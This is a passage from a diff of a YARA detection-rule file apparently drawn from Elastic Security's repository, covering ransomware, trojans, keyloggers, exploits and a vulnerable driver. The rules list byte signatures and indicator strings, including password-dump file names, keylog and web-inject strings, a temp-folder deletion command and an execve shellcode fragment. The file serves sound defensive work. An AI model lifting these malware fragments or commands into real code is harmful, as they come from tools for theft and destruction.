+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Xpaj.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "3e2b1b36981713217301dd02db33fb01458b3ff47f28dfdc795d8d1d332f13ea"
+		logic_hash = "70e6450f98411750361481aaad0d3ea079f58b1ae09970f04da09c20137a50fa"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "01532c6feda3487829ad005232d30fe7dde5e37fd7cecd2bb9586206554c90a7"
+		fingerprint = "456b69d4035aa2d682ba081c2f7b24c696f655ec164645f83c9aef5bd262f510"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -71154,91 +75543,85 @@ rule ELASTIC_Linux_Trojan_Mirai_Eb940856 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 84 24 80 00 00 00 31 C9 EB 23 48 89 4C 24 38 48 8D 84 24 C8 00 }
+		$a = { 72 72 6F 72 3A 20 47 65 74 25 73 20 74 65 6D 70 20 72 65 74 75 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Packer_Patched_UPX_62E11C64 : FILE
+rule ELASTIC_Linux_Virus_Staffcounter_D2D608A8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Packer Patched_Upx (Linux.Packer.Patched_UPX)"
+		description = "Detects Linux Virus Staffcounter (Linux.Virus.Staffcounter)"
 		author = "Elastic Security"
-		id = "62e11c64-fc7d-4a0a-9d72-ad53ec3987ff"
-		date = "2021-06-08"
-		modified = "2021-07-28"
-		reference = "https://cujo.com/upx-anti-unpacking-techniques-in-iot-malware/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Packer_Patched_UPX.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "02f81a1e1edcb9032a1d7256a002b11e1e864b2e9989f5d24ea1c9b507895669"
-		logic_hash = "cb576fdd59c255234a96397460b81cbb2deeb38befaed101749b7bb515624028"
+		id = "d2d608a8-2d65-4b10-be71-0a0a6a027920"
+		date = "2021-06-28"
+		modified = "2021-09-16"
+		reference = "06e562b54b7ee2ffee229c2410c9e2c42090e77f6211ce4b9fa26459ff310315"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Virus_Staffcounter.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "e30f1312eb1cbbc4faba3f67527a4e0e955b5684a1ba58cdd82a7a0f1ce3d2b9"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "3297b5c63e70c557e71b739428b453039b142e1e04c2ab15eea4627d023b686d"
-		severity = 60
+		tags = "FILE, MEMORY"
+		fingerprint = "a791024dc3064ed2e485e5c57d7ab77fc1ec14665c9302b8b572ac4d9d5d2f93"
+		severity = "100"
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 55 50 58 21 [4] 00 00 00 00 00 00 00 00 00 00 00 00 }
+		$a = { 20 22 00 20 4C 69 6E 75 78 22 20 3C 00 54 6F 3A 20 22 00 20 }
 
 	condition:
-		all of them and $a in (0..255)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Flawedgrace_8C5Eb04B : FILE MEMORY
+rule ELASTIC_Linux_Exploit_Courier_190258Dd : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Flawedgrace (Windows.Trojan.FlawedGrace)"
+		description = "Detects Linux Exploit Courier (Linux.Exploit.Courier)"
 		author = "Elastic Security"
-		id = "8c5eb04b-301b-4d05-a010-3329e5b764c6"
-		date = "2023-11-01"
-		modified = "2023-11-02"
+		id = "190258dd-1384-4144-aa05-7957ca0b464b"
+		date = "2021-04-06"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_FlawedGrace.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "966112f3143d751a95c000a990709572ac8b49b23c0e57b2691955d6fda1016e"
-		logic_hash = "dc07197cb9a02ff8d271f78756c2784c74d09e530af20377a584dbfe77e973aa"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_Courier.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "349866d0fb81d07a35b53eac6f11176721629bbd692526851e483eaa83d690c3"
+		logic_hash = "c318d78a11a021334c84a21db2be6d7df57440a1f3ad6feaaff9cc95ebf6f716"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "46ce025974792cdefe9d4f4493cee477c0eaf641564cd44becd687c27d9e7c30"
+		fingerprint = "4ba94b87847a76df80200d40383d2d289dc463faa609237dbc43f317db45074d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "Grace finalized, no more library calls allowed." ascii fullword
-		$a2 = ".?AVReadThread@TunnelIO@NS@@" ascii fullword
-		$a3 = ".?AVTunnelClientDirectIO@NS@@" ascii fullword
-		$a4 = ".?AVWireClientConnectionThread@NS@@" ascii fullword
-		$a5 = ".?AVWireParam@NS@@" ascii fullword
+		$a = { E3 31 C0 50 54 53 50 B0 3B CD 80 31 C0 B0 01 CD }
 
 	condition:
-		3 of them
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Zeus_E51C60D7 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Sodinokibi_83F05Fbe : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature."
+		description = "Identifies SODINOKIBI/REvil ransomware"
 		author = "Elastic Security"
-		id = "e51c60d7-3afa-4cf5-91d8-7782e5026e46"
-		date = "2021-02-07"
-		modified = "2021-10-04"
-		reference = "https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Zeus.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3"
-		logic_hash = "cde738f95dbad1fbad59e20528b2f577e5e3ee5fcb37c68a45d53c689d2af525"
+		id = "83f05fbe-65d1-423f-98df-21692167a1d6"
+		date = "2020-06-18"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revil"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Sodinokibi.yar#L1-L34"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "c88fc2690deae3700e605b2affb5ecac3d1ffc92435f33209f31897d28715b8c"
 		score = 75
-		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba"
-		threat_name = "Windows.Trojan.Zeus"
+		quality = 73
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "8c32ca099c9117e394379c0cc4771a15e5e4cfb1a98210c288e743a6d9cc9967"
+		threat_name = "Windows.Ransomware.Sodinokibi"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -71246,65 +75629,76 @@ rule ELASTIC_Windows_Trojan_Zeus_E51C60D7 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "name=%s&port=%u" ascii fullword
-		$a2 = "data_inject" ascii wide fullword
-		$a3 = "keylog.txt" ascii fullword
-		$a4 = "User-agent: %s]]]" ascii fullword
-		$a5 = "%s\\%02d.bmp" ascii fullword
+		$d1 = { 03 C0 01 47 30 11 4F 34 01 57 30 8B 57 78 8B C2 11 77 34 8B 77 7C 8B CE 0F A4 C1 04 C1 E0 04 01 47 28 8B C2 11 4F 2C 8B CE 0F A4 C1 01 03 C0 01 47 28 11 4F 2C 01 57 28 8B 57 70 8B C2 11 77 2C 8B 77 74 8B CE 0F A4 C1 04 C1 E0 04 01 47 20 8B C2 11 4F 24 8B CE 0F A4 C1 01 03 C0 01 47 20 11 4F 24 01 57 20 8B 57 68 8B C2 11 77 24 8B 77 6C 8B CE 0F A4 C1 04 C1 E0 04 01 47 18 8B C2 11 4F 1C 8B CE 0F A4 C1 01 03 C0 01 47 18 11 4F 1C 01 57 18 8B 57 60 8B C2 11 77 1C 8B 77 64 }
+		$d2 = { 65 78 70 61 6E 64 20 33 32 2D 62 79 74 65 20 6B 65 78 70 61 6E 64 20 31 36 2D 62 79 74 65 20 6B }
+		$d3 = { F7 6F 38 03 C8 8B 43 48 13 F2 F7 6F 20 03 C8 8B 43 38 13 F2 F7 6F 30 03 C8 8B 43 40 13 F2 F7 6F 28 03 C8 8B 43 28 13 F2 F7 6F 40 03 C8 8B 45 08 13 F2 89 48 68 89 70 6C 8B 43 38 F7 6F 38 8B C8 8B F2 8B 43 28 F7 6F 48 03 C8 13 F2 8B 43 48 F7 6F 28 03 C8 8B 43 30 13 F2 F7 6F 40 0F A4 CE 01 03 C9 03 C8 8B 43 40 13 F2 F7 6F 30 03 C8 8B 45 08 13 F2 89 48 70 89 70 74 8B 43 38 F7 6F 40 8B C8 }
+		$d4 = { 33 C0 8B 5A 68 8B 52 6C 0F A4 FE 08 C1 E9 18 0B C6 C1 E7 08 8B 75 08 0B CF 89 4E 68 8B CA 89 46 6C 33 C0 8B 7E 60 8B 76 64 0F A4 DA 19 C1 E9 07 0B C2 C1 E3 19 8B 55 08 0B CB 89 4A 60 8B CF 89 42 64 33 C0 8B 5A 10 8B 52 14 0F AC F7 15 C1 E1 0B C1 EE 15 0B C7 0B CE 8B 75 }
+		$d5 = { C1 01 C1 EE 1F 0B D1 03 C0 0B F0 8B C2 33 43 24 8B CE 33 4B 20 33 4D E4 33 45 E0 89 4B 20 8B CB 8B 5D E0 89 41 24 8B CE 33 4D E4 8B C2 31 4F 48 33 C3 8B CF 31 41 4C 8B C7 8B CE 33 48 70 8B C2 33 47 74 33 4D E4 33 C3 89 4F 70 8B CF 89 41 74 8B }
+		$d6 = { 8B 43 40 F7 6F 08 03 C8 8B 03 13 F2 F7 6F 48 03 C8 8B 43 48 13 F2 F7 2F 03 C8 8B 43 08 13 F2 F7 6F 40 03 C8 8B 43 30 13 F2 F7 6F 18 03 C8 8B 43 18 13 F2 F7 6F 30 03 C8 8B 43 38 13 F2 F7 6F 10 03 C8 8B 43 10 13 F2 F7 6F 38 03 C8 8B 43 28 13 F2 }
+		$d7 = { 8B CE 33 4D F8 8B C2 33 C3 31 4F 18 8B CF 31 41 1C 8B C7 8B CE 33 48 40 8B C2 33 4D F8 33 47 44 89 4F 40 33 C3 8B CF 89 41 44 8B C7 8B CE 33 48 68 8B C2 33 47 6C 33 4D F8 33 C3 89 4F 68 8B CF 89 41 6C 8B CE 8B }
+		$d8 = { 36 7D 49 30 85 35 C2 C3 68 60 4B 4B 7A BE 83 53 AB E6 8E 42 F9 C6 62 A5 D0 6A AD C6 F1 7D F6 1D 79 CD 20 FC E7 3E E1 B8 1A 43 38 12 C1 56 28 1A 04 C9 22 55 E0 D7 08 BB 9F 0B 1F 1C B9 13 06 35 }
+		$d9 = { C2 C1 EE 03 8B 55 08 0B CE 89 4A 4C 8B CF 89 42 48 33 C0 8B 72 30 8B 52 34 C1 E9 0C 0F A4 DF 14 0B C7 C1 E3 14 8B 7D 08 0B CB 89 4F 30 8B CE 89 47 34 33 C0 C1 E1 0C 0F AC D6 14 0B C6 C1 EA 14 89 47 08 0B CA }
+		$d10 = { 8B F2 8B 43 38 F7 6F 28 03 C8 8B 43 18 13 F2 F7 6F 48 03 C8 8B 43 28 13 F2 F7 6F 38 03 C8 8B 43 40 13 F2 F7 6F 20 0F A4 CE 01 03 C9 03 C8 8B 43 20 13 F2 F7 6F 40 03 C8 8B 43 30 13 F2 F7 6F 30 03 C8 }
+		$d11 = { 33 45 FC 31 4B 28 8B CB 31 41 2C 8B CE 8B C3 33 48 50 8B C2 33 43 54 33 CF 33 45 FC 89 4B 50 8B CB 89 41 54 8B CE 8B C3 33 48 78 8B C2 33 43 7C 33 CF 33 45 FC 89 4B 78 8B CB 89 41 7C 33 B1 A0 }
+		$d12 = { 52 24 0F A4 FE 0E C1 E9 12 0B C6 C1 E7 0E 8B 75 08 0B CF 89 4E 20 8B CA 89 46 24 33 C0 8B 7E 78 8B 76 7C 0F A4 DA 1B C1 E9 05 0B C2 C1 E3 1B 8B 55 08 0B CB 89 4A 78 8B CF 89 42 7C 33 C0 8B 9A }
+		$d13 = { F2 8B 43 38 F7 6F 20 03 C8 8B 43 40 13 F2 F7 6F 18 03 C8 8B 43 10 13 F2 F7 6F 48 03 C8 8B 43 28 13 F2 F7 6F 30 03 C8 8B 43 20 13 F2 F7 6F 38 03 C8 8B 43 30 13 F2 F7 6F 28 03 C8 8B 43 48 13 F2 }
+		$d14 = { 8B 47 30 13 F2 F7 6F 40 03 C8 13 F2 0F A4 CE 01 89 73 74 03 C9 89 4B 70 8B 47 30 F7 6F 48 8B C8 8B F2 8B 47 38 F7 6F 40 03 C8 13 F2 0F A4 CE 01 89 73 7C 03 C9 89 4B 78 8B 47 38 F7 6F 48 8B C8 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Macos_Backdoor_Keyboardrecord_832F7Bac : FILE
+rule ELASTIC_Windows_Ransomware_Sodinokibi_182B2Cea : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Macos Backdoor Keyboardrecord (MacOS.Backdoor.Keyboardrecord)"
+		description = "Identifies SODINOKIBI/REvil ransomware"
 		author = "Elastic Security"
-		id = "832f7bac-3896-4934-b05f-8215a41cca74"
-		date = "2021-11-11"
-		modified = "2022-07-22"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/MacOS_Backdoor_Keyboardrecord.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "570cd76bf49cf52e0cb347a68bdcf0590b2eaece134e1b1eba7e8d66261bdbe6"
-		logic_hash = "5719681d50134edacb5341034314c33ed27e9325de0ae26b2a01d350429c533b"
+		id = "182b2cea-5aae-443a-9a2e-b3121a0ac8c7"
+		date = "2020-06-18"
+		modified = "2021-10-04"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revil"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Sodinokibi.yar#L36-L62"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "1c23effe5f8b35c5e03ebd5e57664c8937259d464f92dda0a9df344b982e8f8c"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "27aa4380bda0335c672e957ba2ce6fd1f42ccf0acd2eff757e30210c3b4fb2fa"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "b71d862f6d45b388a106bf694e2bf5b4e4d78649c396e89bda46eab4206339fe"
+		threat_name = "Windows.Ransomware.Sodinokibi"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "macos"
+		os = "windows"
 
 	strings:
-		$s1 = "com.ccc.keyboardrecord"
-		$s2 = "com.ccc.write_queue"
-		$s3 = "ps -p %s > /dev/null"
-		$s4 = "useage %s path useragentpid"
-		$s5 = "keyboardRecorderStartPKc"
+		$a1 = "expand 32-byte kexpand 16-byte k" ascii fullword
+		$b1 = "ServicesActive" wide fullword
+		$b2 = "CreateThread" ascii fullword
+		$b3 = "GetExitCodeProcess" ascii fullword
+		$b4 = "CloseHandle" ascii fullword
+		$b5 = "SetErrorMode" ascii fullword
+		$b6 = ":!:(:/:6:C:\\:m:" ascii fullword
 
 	condition:
-		3 of them
+		($a1 and 6 of ($b*))
 }
-rule ELASTIC_Windows_Trojan_Doorme_246Eda61 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Sodinokibi_A282Ba44 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Doorme (Windows.Trojan.DoorMe)"
+		description = "Identifies SODINOKIBI/REvil ransomware"
 		author = "Elastic Security"
-		id = "246eda61-23b5-49b8-8409-623f2722c289"
-		date = "2022-12-09"
-		modified = "2022-12-15"
-		reference = "https://www.elastic.co/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_DoorMe.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "96b226e1dcfb8ea2155c2fa508125472c8c767569d009a881ab4c39453e4fe7f"
-		logic_hash = "01240f2e23904498c34ec805cc8bc3e9ac7b76c6519685ef6b367066f1a0bc5b"
+		id = "a282ba44-b8bf-4fcc-a1c4-795675a928de"
+		date = "2020-06-18"
+		modified = "2021-08-23"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.revil"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Sodinokibi.yar#L64-L91"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "3a583069c9ab851a90f3a61c9c4fa67f8b918b8d168fcf7f25b2a3ae3465c596"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "aa8c2ae2e966bf4e0c79faa90b14fd77d07b7c68076f39c56b384dada9dd0e96"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "07f1feb22f8b9de0ebd5c4649545eb4823a274b49b2c61a44d3eed4739ecd572"
+		threat_name = "Windows.Ransomware.Sodinokibi"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -71312,95 +75706,97 @@ rule ELASTIC_Windows_Trojan_Doorme_246Eda61 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$seq_aes_crypto = { 8B 6C 24 ?? C1 E5 ?? 8B 5C 24 ?? 8D 34 9D ?? ?? ?? ?? 0F B6 04 31 32 44 24 ?? 88 04 29 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 32 44 24 ?? 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 F8 88 44 29 ?? 8D 04 9D ?? ?? ?? ?? 0F B6 04 01 44 30 E0 88 44 29 ?? 8B 74 24 ?? }
-		$seq_copy_str = { 48 8B 44 24 ?? 48 89 58 ?? 48 89 F1 4C 89 F2 49 89 D8 E8 ?? ?? ?? ?? C6 04 1E ?? }
-		$seq_md5 = { 89 F8 44 21 C8 44 89 C9 F7 D1 21 F1 44 01 C0 01 C8 44 8B AC 24 ?? ?? ?? ?? 8B 9C 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? ?? 44 89 44 24 ?? 46 8D 04 28 41 81 C0 ?? ?? ?? ?? 4C 89 AC 24 ?? ?? ?? ?? 41 C1 C0 ?? 45 01 C8 44 89 C1 44 21 C9 44 89 C2 F7 D2 21 FA 48 89 BC 24 ?? ?? ?? ?? 8D 2C 1E 49 89 DC 01 D5 01 E9 81 C1 ?? ?? ?? ?? C1 C1 ?? 44 01 C1 89 CA 44 21 C2 89 CD F7 D5 44 21 CD 8B 84 24 ?? ?? ?? ?? 48 89 44 24 ?? 8D 1C 07 01 EB 01 DA 81 C2 ?? ?? ?? ?? C1 C2 ?? }
-		$seq_calc_key = { 31 FF 48 8D 1D ?? ?? ?? ?? 48 83 FF ?? 4C 89 F8 77 ?? 41 0F B6 34 3E 48 89 F1 48 C1 E9 ?? 44 0F B6 04 19 BA ?? ?? ?? ?? 48 89 C1 E8 ?? ?? ?? ?? 83 E6 ?? 44 0F B6 04 1E BA ?? ?? ?? ?? 48 8B 4D ?? E8 ?? ?? ?? ?? 48 83 C7 ?? }
-		$seq_base64 = { 8A 45 ?? 8A 4D ?? C0 E0 ?? 89 CA C0 EA ?? 80 E2 ?? 08 C2 88 55 ?? C0 E1 ?? 8A 45 ?? C0 E8 ?? 24 ?? 08 C8 88 45 ?? 41 83 C4 ?? 31 F6 44 39 E6 7D ?? 66 90 }
-		$str_0 = ".?AVDoorme@@" ascii fullword
+		$c1 = { 59 59 85 F6 74 25 8B 55 08 83 66 04 00 89 3E 8B 0A 0B 4A 04 }
+		$c2 = { 8D 45 F8 89 75 FC 50 8D 45 FC 89 75 F8 50 56 56 6A 01 6A 30 }
+		$c3 = { 75 0C 72 D3 33 C0 40 5F 5E 5B 8B E5 5D C3 33 C0 EB F5 55 8B EC 83 }
+		$c4 = { 0C 8B 04 B0 83 78 04 05 75 1C FF 70 08 FF 70 0C FF 75 0C FF }
+		$c5 = { FB 8B 45 FC 50 8B 08 FF 51 08 5E 8B C7 5F 5B 8B E5 5D C3 55 }
+		$c6 = { BC 00 00 00 33 D2 8B 4D F4 8B F1 8B 45 F0 0F A4 C1 01 C1 EE 1F }
+		$c7 = { 54 8B CE F7 D1 8B C2 23 4D DC F7 D0 33 4D F4 23 C7 33 45 E8 89 }
+		$c8 = { 0C 89 46 0C 85 C0 75 2A 33 C0 EB 6C 8B 46 08 85 C0 74 62 6B }
 
 	condition:
-		3 of ($seq*) or 1 of ($str*)
+		(6 of ($c*))
 }
-rule ELASTIC_Windows_Vulndriver_Arpot_09C714C5 : FILE
+rule ELASTIC_Windows_Trojan_Cryptbot_489A6562 : FILE MEMORY
 {
 	meta:
-		description = "Name: aswArPot.sys, Version: 21.1.187.0"
+		description = "Detects Windows Trojan Cryptbot (Windows.Trojan.Cryptbot)"
 		author = "Elastic Security"
-		id = "09c714c5-7639-44cf-990f-16ac0d42f8f9"
-		date = "2022-04-27"
-		modified = "2022-05-03"
+		id = "489a6562-870c-4105-9bb7-52ab09e5b09c"
+		date = "2021-08-18"
+		modified = "2021-10-04"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_ArPot.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4b5229b3250c8c08b98cb710d6c056144271de099a57ae09f5d2097fc41bd4f1"
-		logic_hash = "e5f972ad9a31aefbd20237e6ea3dd19a025c2e3487fa080e9f9b8acf1e3f58e6"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Cryptbot.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "423563995910af04cb2c4136bf50607fc26977dfa043a84433e8bd64b3315110"
+		logic_hash = "7fee3cc67419e66de790ba2ad8c3102425b3a45bdfe31801758dd38021a8439b"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		fingerprint = "7876556bbfd68903a38103ccd6e9ec8c4c9a89e7dfaada86b6633a8d7ec9b806"
-		threat_name = "Windows.VulnDriver.ArPot"
-		severity = 50
+		quality = 25
+		tags = "FILE, MEMORY"
+		fingerprint = "f4578d79f8923706784e9d55a70ec74051273a945d2b277daa6229724defec3f"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 61 00 73 00 77 00 41 00 72 00 50 00 6F 00 74 00 2E 00 73 00 79 00 73 00 00 00 }
-		$version = /V\x00S\x00_\x00V\x00E\x00R\x00S\x00I\x00O\x00N\x00_\x00I\x00N\x00F\x00O\x00\x00\x00{0,4}\xbd\x04\xef\xfe[\x00-\xff]{4}(([\x00-\x01][\x00-\x00])([\x00-\x15][\x00-\x00])([\x00-\x00][\x00-\x00])([\x00-\xbb][\x00-\x00])|([\x00-\xff][\x00-\xff])([\x00-\x14][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x00][\x00-\x00])([\x00-\x15][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xff][\x00-\xff])|([\x00-\x01][\x00-\x00])([\x00-\x15][\x00-\x00])([\x00-\xff][\x00-\xff])([\x00-\xba][\x00-\x00]))/
+		$a1 = "/c rd /s /q %Temp%\\" wide fullword
+		$a2 = "\\_Files\\_AllPasswords_list.txt" wide fullword
+		$a3 = "\\files_\\cryptocurrency\\log.txt" wide fullword
+		$a4 = "%wS\\%wS\\%wS.tmp" wide fullword
+		$a5 = "%AppData%\\waves-exchange" wide fullword
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name and $version
+		all of them
 }
-rule ELASTIC_Windows_Exploit_Rpcjunction_0405253B : FILE
+rule ELASTIC_Linux_Exploit_CVE_2009_2698_12374E97 : FILE MEMORY CVE_2009_2698
 {
 	meta:
-		description = "Detects Windows Exploit Rpcjunction (Windows.Exploit.RpcJunction)"
+		description = "Detects Linux Exploit Cve 2009 2698 (Linux.Exploit.CVE-2009-2698)"
 		author = "Elastic Security"
-		id = "0405253b-d91f-420e-b2e5-7f4aebeb7709"
-		date = "2024-02-28"
-		modified = "2024-03-21"
+		id = "12374e97-385e-4b3a-9d50-39f35ad4f6dd"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Exploit_RpcJunction.yar#L1-L21"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "05588fe3d2aae1273e9d0b0ac00c867d92bcdea41c33661760dcbe84439e7949"
-		logic_hash = "c663285d81e00bf6b028cdb043da3c6d5033a0c100d9c626acfa26d67bc1c093"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2009_2698.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "656fddc1bf4743a08a455628b6151076b81e604ff49c93d797fa49b1f7d09c2f"
+		logic_hash = "ed86a239b909681f2ab3503cfedf202dbe5f53a6f554cf4db13f08bee625c0b7"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "bd5f1c040f6fcf16e507d2c3cb94013ea17d85b2428b85ba1d84005cc44739ec"
+		tags = "FILE, MEMORY, CVE-2009-2698"
+		fingerprint = "2c669220ac8909e2336bbf9c38489c8e32d573ab6c29fa1e2e0c1fe69f7441ed"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$s1 = "NtSetInformationFile"
-		$s2 = "DefineDosDevice"
-		$s3 = "\\GLOBALROOT\\RPC Control\\" wide nocase
+		$a = { 74 64 6F 75 74 00 66 77 72 69 74 65 00 64 65 73 63 00 63 76 65 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Cryptominer_Ccminer_18Fc60E5 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2009_2698_Cc04Dddd : FILE MEMORY CVE_2009_2698
 {
 	meta:
-		description = "Detects Linux Cryptominer Ccminer (Linux.Cryptominer.Ccminer)"
+		description = "Detects Linux Exploit Cve 2009 2698 (Linux.Exploit.CVE-2009-2698)"
 		author = "Elastic Security"
-		id = "18fc60e5-680c-4ff6-8a76-12cc3ae9cd3d"
-		date = "2021-01-12"
+		id = "cc04dddd-91d0-4c5f-a0ac-01787da7f369"
+		date = "2021-04-06"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
